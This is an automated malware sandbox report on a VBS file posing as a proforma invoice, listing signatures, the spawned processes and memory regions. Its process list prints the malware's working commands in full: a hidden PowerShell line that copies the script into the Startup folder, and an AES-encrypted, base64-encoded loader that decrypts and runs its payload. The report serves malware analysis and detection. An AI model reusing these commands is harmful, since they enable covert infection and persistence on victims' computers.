Analysis
- max time kernel
149s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
22/06/2026, 12:33
General
- Target ProformaInvoice-WES 5628-1.vbs
- Size 2.2MB
- Sample260622-prjmlsb13q
- SHA256 cc9dfcca94f44e8e1897099cebfcd4d7eb6dff56baacf1ed325520842a06e7f0
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 17 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ProformaInvoice-WES 5628-1.vbs"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\ProformaInvoice-WES 5628-1.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ProformaInvoice-WES 5628-1.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $scoundreldom = [System.Text.Encoding]::UTF8.GetBytes('et9GInrChDzpKRM2'); if ($scoundreldom.Length -lt 32) { $scoundreldom = $scoundreldom + (0..(31 - $scoundreldom.Length)) }; $flamers = [Convert]::FromBase64String('nViXS0ZxkFg/CtyC7ZBesrV/urhijh9v4SR4RrLJm9nXDD1tENDV7o9mNib0+URppNkdSfTtQIkc8QCvYoWgamFeYFHl3rG9usr9HGkzALpHWbAhP8KYMC7jOI4vkvpdmmJIdxh5/JV9vbojLNgO4to5KFIGyBWC9Obe+6PI73ChR6T+q34lt6If8cSDWPjLS1MKEY+iRQBBab1arSVhvtp3pMfaJ5GMtEkvr9H+ocSkeRWCJxDTxvB93yGl88GIhQg5j8qrvjxCC0V0eByDqEtSk5ukOaucWGbCI3xn+J3Z23DENqEQSymmLoeEvTd43TcIspP7cRlP563vUKOJx3mPFwytgWlENZL5LDyfrYfhFthtbd40YcYj+x/4+s+DMoQUe45ND2pHOtZHyvY+eQvN+3oTpNSY6pg/wq4pX/M3wFmk1BEzHdFjGFpbjjDaPDO9rOuFvUZ3CGbulmzg6uXf9CWuJ97YNe4X+yUW0UmLs4QEiKsUd/K4DpamEhYuwVS3lyR/KegOTQBWIi/W5iEfbkJspg1n/CbKy1BqeE7xdMf/OU2PVa3Pu++Sui9aPioixCza3le7WJiZG4e0LCp8wanGj/xuwg3rCRbEmY/IaoCz3tg+RvISwpwqUfORewwfel/t7tMMyEDigf6uCg/d46l80vFpQQL/zQqNdrdBnfUpOqPI6hKxC+U04cZ3z6XP9Ct2RIrRZPJ4o5l/HdcQFjrPZgKnxyyNIX+2JPkAID1GJzIDLEOoaLw+zA+ZB4AHaDgBLjSU+rgL60FwZbqkQ6E25YEGN0zlqiFzQz7sHuSLCbzGqgGqcKGa0HmXud1xrrHd1u/+6RLRgFoOAWiDd9PXqk6ILx1rHROGra9z40bF8CTK+raE5FIN6MAVuwOuMnSLxqWDhuPlhyofbndslBVAjeOq1pkyFAVQZ9SvP6G+8tegKhs4bLlPELZVjYZnI4YVppkxnCFIzb8AfsTNqALyNXlCsyXhi0/9Zm1208e9wAna9WDhrS44pGPmZ1sMiBk8qCrcpRf2QtFF8MfDpMMxWA62Al6ttJ1Yo06RBqt6RVMJpq9TYy8tzsJf4LD1STOoBSJhTmCg3iSNLDz2b+aFfJv4niN0sIxudnE+kXvW6yF7MR9hQdgseAOas95ZREKGeI7VzsEn1c3WyzZ5bbBqVhvEx68Mq1BrDtp5KIhXYGc22Cl4TM/33CX8riZSQwpoYwokLMqM2RC9RBNRElcNWJIDEeLVXU7WrqL3ZH4nQll+U/kj86JwukER8TndmKzLnpZZUMoxYqLxHJ4fVvdhQGsKIe4IKXuqu6puBZla7q/FulBLPI0Ga3P4TYTggRg+W+cGwHWCHi3C0ztETZgAoNPKVrUBGtcz1Y7rdyoow0N6ux0gc7xf1j6YqE/m1ScgI02iDSdMzJinnxCFrpkvev/9JVzsjs5ovDpDr//rhZlAvWG96Er3JP7nnl5VfzRg/hkIYMUmCCWKrSxxKpD/aYXrJLyn9pv5yOlMa+Wq8abpHgevrkVwBIoYFUl6FDTRidzqzzTDXSeBj1LmJsiBeYzVEgO+hxmKWJiJWXOjU/jFzhJyf1GtvEaVZsEgDdZjEAPwDGc89eXKN4gszcaVK0RQJODKXPfidKashdbV9UMNtVb5p1cxJWIhMwVvrywjm1ow3vgwf6vy2Xw9sCpnDsToHEDgMYB81msBs9wX3PiXP4J/I5Sh5+oX'); $supinely = $flamers[0..15]; $amaurotic = $flamers[16..($flamers.Length-1)]; $sycee = [System.Security.Cryptography.Aes]::Create(); $sycee.Key = $scoundreldom; $sycee.IV = $supinely; $astatizer = $sycee.CreateDecryptor(); $snarl = $astatizer.TransformFinalBlock($amaurotic, 0, $amaurotic.Length); $phonascus = [System.Text.Encoding]::UTF8.GetString($snarl); Invoke-Expression $phonascus; } catch {}"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
memory/1160-31-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-29-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-34-0x00000239F9320000-0x00000239F9442000-memory.dmp
memory/1160-33-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-32-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-20-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-30-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-35-0x00000239E0E90000-0x00000239E0E9A000-memory.dmp
memory/1160-27-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-28-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-26-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-25-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-38-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1160-21-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-10-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-0-0x00007FF90C6FF000-0x00007FF90C700000-memory.dmp
memory/1216-17-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-16-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-15-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-14-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-13-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-12-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-11-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-19-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-9-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-8-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-7-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-6-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-5-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1216-4-0x0000019150EB0000-0x0000019150ED2000-memory.dmp
memory/1216-3-0x00007FF90C570000-0x00007FF90CF14000-memory.dmp
memory/1868-36-0x0000000000400000-0x0000000000446000-memory.dmp